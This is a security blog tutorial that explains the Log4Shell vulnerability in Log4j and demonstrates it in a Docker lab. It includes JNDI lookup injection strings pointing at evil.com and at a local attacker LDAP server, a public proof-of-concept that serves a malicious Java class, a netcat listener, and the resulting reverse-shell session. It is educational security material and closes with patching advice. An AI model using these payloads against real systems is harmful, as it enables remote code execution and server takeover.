One month ago, on December 9, 2021, a code execution vulnerability identified as CVE-2021-44228, dubbed Log4Shell, affecting Java Log4j logging library was published.

The simplicity of this exploit - by injecting a single string - and the number of potential vulnerable assets on the Internet, the vulnerability made the news headlines. In this post I showcase how to exploit this vulnerability.

Time for school

Before we learn how to exploit this vulnerability, we need to learn some terms.

What is Log4j?

Log4j is a Java logging framework that allows software developers to log various events - errors and routine system operations - within their applications. It’s an open-source software developed by the Apache Software Foundation.

An example of this framework at work is when the user requests a bad webpage from the server and gets the 404 error message. The webserver gives the user the 404 error message, and also records that event in a log for the server’s maintainers to check and be able to debug the event.

Several companies use the Log4j library worldwide to enable logging and configure a wide set of applications.

What is LDAP?

Lightweight Directory Access Protocol (LDAP) is an application protocol for accessing and managing a directory service. LDAP enables sharing of information on users, systems, networks, services, and applications stored in directories, with applications and services that need it.

A common use of LDAP is to provide a central place for authentication - meaning it stores usernames and passwords. LDAP can then be used in different applications or services to validate users with a plugin. As such, when you are authenticating to an LDAP-enabled application, the application sends a request to the LDAP server with your credentials; the LDAP server verifies your identification and what permissions you have to which recourses, and grants the access based on your user’s attributes.

What is JNDI?

Java applications cannot request to LDAP directly. Java Naming and Directory interface (JNDI) provides an API for Java applications to interact with several directory services, including LDAP.

How does Log4Shell work?

Now that we are armed with this key concepts, let’s talk about how we can exploit Log4j vulnerability.

Log4Shell works by abusing a feature in Log4j that allows users to specify custom code for formatting a log message.

This feature allows Log4j to, for example, log not only the username associated with each attempt to log in to the server but also the person’s real name, if a separate server holds a directory linking user names and real names. To do so, the Log4j server has to communicate with the server holding the real names.

To be able to do this, Log4j allows logged messages to contain format strings that reference external information through the JNDI. Unfortunately, as with any user-controlled data, this feature opens the door for nefarious activities.

When Log4j finds the following string in any field of a log message:

${jndi:ldap://evil.com/payload1}

It instructs the JNDI to ask the LDAP server at evil.com for the payload1 object.

The attacker-controlled LDAP server responds with information that includes a remote Java class file, for instance, http://evil.com/payload2.class.

By design, JNDI will execute Java classes that a LDAP server references. As such, JNDI will automatically request the file from http://evil.com/, download the Java class payload2.class and execute it. Boom 🎇

Log4shell

Demonstration

Lets see how to exploit this Log4j vulnerability.

Setup the Project

Here I will be using a Kali Linux VM (what a surprise 😆) on VirtualBox, to setup this demonstration.

mkdir Log4Shell && cd "$_"		# Create a folder for our lab and enter it

We will use two repositories:

1. Repository to build a vulnerable application

git clone https://github.com/cyberxml/log4j-poc		  
cd log4j-poc
sudo apt-get update
sudo apt install docker-compose

This repository also features a built-in version of the Log4j attack code and payload, however we will be only using the Tomcat 8 web server portion in order to have a full view of the exploit. For this, we need to edit docker-compose.ymlto keep only the web server portion.

nano docker-compose.yml

Keep only one services: cve-web and, networks. Your document should be something like:

version: "3.9"
services:
  cve-web:
    build: cve-web
    hostname: websvr
    domainname: range.lab
    environment:
      - POC_USERNAME=user
      - POC_PASSWORD=1qaz2wsx
    networks:
      cve-net:
        ipv4_address: 172.16.238.10
    ports:
      - "8080:8080"

networks:
  cve-net:
    driver: bridge
    driver_opts:
      com.docker.network.enable_ipv6: "false"
    ipam:
      driver: default
      config:
        - subnet: 172.16.238.0/24
          gateway: 172.16.238.1

Save and close:

Ctrl+O (save) and Ctrl+X (close)

2. Repository with the exploit code

git https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc
pip install -r requirements.txt

Then, we need to download the Java version that works with this exploit.

Go to https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html and download jdk-8u202-linux-x64.tar.gz.

This will make you create an account.

If you are like me and hate make accounts for one-time things, do not be afraid! Go to 10minutemail.com where you will be given a temporary email address and a small inbox.

Proceed to validate the account and try to download the file again. According to the exploit’s instructions you need to have the jdk on the exploit folder with a specific name:

cd Downloads
mv jdk-8u202-linux-x64.tar.gz <your-path-to>/Log4Shell/log4j-shell-poc
tar -xf jdk-8u202-linux-x64.tar.gz
mv jdk1.8.0_202 jdk1.8.0_20 # to change to the required name = "jdk1.8.0_20"

Setup the Victim

Lets build the docker with our vulnerable server. In a new terminal do:

cd log4j-poc
sudo docker-compose build # this may take a few minutes
sudo docker-compose up

Visit our vulnerable server at: http://172.16.238.10:8080/log4shell/

VulnerableTomcatServer

Setup the Attacker

First, we need to activate a TCP listener for the remote shell to connect back to. Using netcat, in a new terminal do:

sudo netcat -lvnp 9001

Then, we need to activate our exploit. On a new terminal do:

cd log4j-shell-poc
python3 poc.py --userip 172.16.238.1 --webport 80 --lport 9001

where userip is our machine’s IP address in the docker network, webport is the listener port for HTTP requests, and lport is the netcat port we defined above.

What you will see:

[!] CVE: CVE-2021-44228                                                             
[!] Github repo: https://github.com/kozmer/log4j-shell-poc                          

[+] Exploit java class created success  # named "Exploit.class"
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://172.16.238.1:1389/a} # string to input in victim application

[+] Starting Webserver on port 80 http://0.0.0.0:80 # webserver running on port 80 to serve payload (malicious Java class)
Listening on 0.0.0.0:1389 # malicious LDAP server listening for requests

This proof-of-concept (POC) Log4j exploit code sets up a weaponized LDAP server that serves an object a on port 1389.

This code will redirect the victim server to download and execute a Java class that is obtained from a webserver running on port 80.

The Java class is configured to spawn a reverse shell to port 9001, where our netcat listener we setup above is listening for TCP connections.

If you are curious to check our malicious Java class:

cd log4j-shell-poc
nano Exploit.class

Executing the attack

Now that our attacker environment is staged, it’s time to execute the attack! We will add the string above to the authentication form in order for log4j to log it in a message and prompt JNDI to make an LDAP query to our malicious LDAP server.

VulnerableTomcatServer

This weaponized string exploits Log4j vulnerability that will request that a lookup be performed against the attacker’s LDAP server. The victim server will request our LDAP server on port 1389 and in our terminal we will see the receipt of the inbound LDAP connection and redirection made to our webserver:

 [!] CVE: CVE-2021-44228                                                             
 [!] Github repo: https://github.com/kozmer/log4j-shell-poc                          

 [+] Exploit java class created success
 [+] Setting up LDAP server

 [+] Send me: ${jndi:ldap://172.16.238.1:1389/a}

 [+] Starting Webserver on port 80 http://0.0.0.0:80
 Listening on 0.0.0.0:1389
 # LDAP connection, redirecting to webserver:
 Send LDAP reference result for a redirecting to http://172.16.238.1:80/Exploit.class		
 # Java class with remoteshell payload served to victim server at 172.16.38.10:
 172.16.238.10 - - [09/Jan/2022 17:01:29] "GET /Exploit.class HTTP/1.1" 200 -				

Checking the reverse shell in the terminal that is running netcat:

listening on [any] 9001 ...
connect to [172.16.238.1] from (UNKNOWN) [172.16.238.10] 44886  # shell opened from victim server
# Run the following command to see where you are:
ls
> log4j-shell-poc
> maven3
> tomcat8
# Run the following command to see user and group IDs:
id
> uid=1000(user) gid=5001(user) groups=5001(user),27(sudo),100(users)
# Run the following to check the processes running on the victim server:
ps -ef
> UID          PID    PPID  C STIME TTY          TIME CMD
> user           1       0  0 16:56 ?        00:00:00 /bin/bash /entrypoint.sh /entrypoint.sh
> user          16       1  0 16:56 ?        00:00:21 /opt/jdk1.8.0_51/bin/java -Dnop - Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -classpath /home/user/tomcat8/log4j2/lib/*:/home/user/tomcat8/log4j2/conf:/home/user/tomcat8/bin/bootstrap.jar:/home/user/tomcat8/bin/tomcat-juli.jar -Dcatalina.base=/home/user/tomcat8 -Dcatalina.home=/home/user/tomcat8 -Djava.io.tmpdir=/home/user/tomcat8/temp  org.apache.catalina.startup.Bootstrap start
> user          17       1  0 16:56 ?        00:00:00 sleep 3600
> user          60      16  0 17:01 ?        00:00:00 /bin/sh
> user          66      16  0 17:43 ?        00:00:00 /bin/sh
> user          70      66  0 17:46 ?        00:00:00 ps -ef

With this remote shell the attacker (us 😁) has full control of the Tomcat 8 server. In this case, our control is limited to the docker session where we configured our test scenario.

Mitigation

  1. Update Log4j to version 2.17.0 that fully secures the library against the Log4Shell vulnerability.
  2. Have an inventory of software and regularly update it. It is hard to know whether Log4j is being used in any given software system because it is often bundled as part of other software. Knowing what software runs in your system is key to keep up with published vulnerabilities.

Useful resources

  • Log4Shell remediation cheat sheet: https://snyk.io/blog/log4shell-remediation-cheat-sheet/?loc=learn
  • Deeper look into the injection of the malicious Java class: https://learn.snyk.io/lessons/log4shell/java/